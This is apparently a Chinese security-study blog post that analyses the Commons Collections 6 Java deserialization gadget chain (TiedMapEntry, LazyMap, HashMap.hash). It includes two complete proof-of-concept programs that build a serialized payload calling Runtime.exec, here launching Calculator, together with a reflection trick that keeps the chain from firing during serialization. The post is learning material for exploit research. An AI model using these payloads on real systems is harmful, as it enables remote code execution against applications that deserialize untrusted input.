[Java安全] CommonsCollections6链分析

前言

之前我们分析了CC1,从简化版开始学习,再到完整分析CC1,再学习了动态代理和LazyMap的利用链构造,但是都有一个缺陷就是版本限制,只能适用于8u71之前的链子,因为AnnotationInvocationHandler的readObject方法发生了改变,CC6就是为了高版本Java的利用问题

CC6

这里我还是跟着p牛的Java安全漫谈来学习,这里p牛是简化了ysoserial的CC6利用链,gadget是这样的

https://tuchuang.huamang.xyz/img/image-20221002161146283.png

我们从后往前看,可以发现还是走了LazyMap.get()方法,在CC1中,我们是通过动态代理Map,从AnnotationInvocationHandler.readObject调用this.memberValues.entrySet()然后到AnnotationInvocationHandler.invoke()再调用到get方法

而高版本的readObject逻辑已经修改了,不能走这条路了,观察CC6的gadget,这里走了org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

我们跟进TiedMapEntry去看看,执行了this.map.get(this.key),我们实例化的时候是可以操控map和key的的

而且他的hashCode方法又执行了this.getValue()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
		// ...
    public Object getValue() {
        return this.map.get(this.key);
    }
		// ...
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
  	// ...

所以现在的目的就变成了找到哪里调用了TiedMapEntry#hashCode,看到gadget是调用了HashMap.hash()方法这其实就是接上了之前学习的URLDNS链子

在HashMap的readObject中调用了

1
putVal(hash(key), key, value, false, false)

跟进hash方法,调用了key.hashCode()

1
2
3
4
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

所以我们控制key为TiedMapEntry的对象即可

POC

首先是创建好我们的恶意Map

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后就是这次的主角TiedMapEntry登场了,我们需要他的hashCode方法,调用到他的hashCode方法的途径是HashMap的readObject里面的hash(key)

所以我们实例化TiedMapEntry,把恶意的Map传入作为map参数,key是啥无所谓,因为要进ChainedTransformer,然后再把这个TiedMapEntry作为key传入HashMap中,这样就调用到了TiedMapEntry#hashCode()

1
2
3
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
HashMap expMap = new HashMap();
expMap.put(tme,"value");

看ysoserial代码可以发现,他构造ChainedTransformer的时候,是这样的,多了一个

new ConstantTransformer(1)

https://tuchuang.huamang.xyz/img/image-20221002195409931.png

起初我没觉得有什么,后来到了分析CC6的链子的时候,我发现会报错

原因是java.lang.UNIXProcess不能被序列化

https://tuchuang.huamang.xyz/img/image-20221002195706140.png

这里我调试跟进去看了一下,如果POC和之前一样的话,这里是返回UNIX对象的

https://tuchuang.huamang.xyz/img/image-20221002200458055.png

因为CC6的最后需要把恶意的代码加进一个新的Map里面去,然后再对这个Map进行序列化,所以这里就会因为UNIXProcess没有基础serializable而触发报错了

https://tuchuang.huamang.xyz/img/image-20221002200537033.png

所以我们的解决办法就是在后面再加上一个new ConstantTransformer(1),这样返回的就是可序列化的对象了

https://tuchuang.huamang.xyz/img/image-20221002200921497.png

链子基本就是这样了,但是有一点要注意的是,如果直接拿expMap去生成序列化数据,是不会RCE的

原因在这,当我们进入LazyMap的get方法的时候,他这个判断条件过不去,不会进入执行factory.transform方法

https://tuchuang.huamang.xyz/img/image-20221002183348955.png

原因是在构造新的Map的时候,我们执行了一次expMap.put(tme,"value");,把恶意数据put进Map中,在执行这个方法的时候会走进LazyMap的get方法,再插入一个数据进去,{"key",1}

https://tuchuang.huamang.xyz/img/image-20221002202725130.png

所以当我们反序列化以后的恶意的outerMap要去执行get的时候,就会因为里面有值而过不了判断执行不了transform

https://tuchuang.huamang.xyz/img/image-20221002202619587.png

解决办法就是在expMap.put(tme,"value");的后面去把outerMap的内容删除即可

最后的POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
        HashMap expMap = new HashMap();
        expMap.put(tme,"value");
        outerMap.remove("key");
        FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
        Object o = (Object) ois.readObject();
    }
}

我们在构造序列化对象的时候,由于这里执行了这个,而这个put方法里面会执行hash(),所以就会导致在序列化的时候就会把整个利用链走一遍

1
expMap.put(tme,"value");

这里看ysoserial有个解决办法,就是构造LazyMap的时候用一个fakeTransformers对象

等到最后生成payload的时候再用反射,getDeclaredField,把真正的恶意transformer换进去

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6pro {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
        Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1) };

// 传入fake防止序列化时执行
        Transformer transformerChain = new ChainedTransformer(faketransformer);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
        HashMap expMap = new HashMap();
        expMap.put(tme,"value");
        outerMap.remove("key");

// 到最后生成payload的时候,利用反射把真正的transform换进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

// 序列化数据
        FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
        Object o = (Object) ois.readObject();
    }
}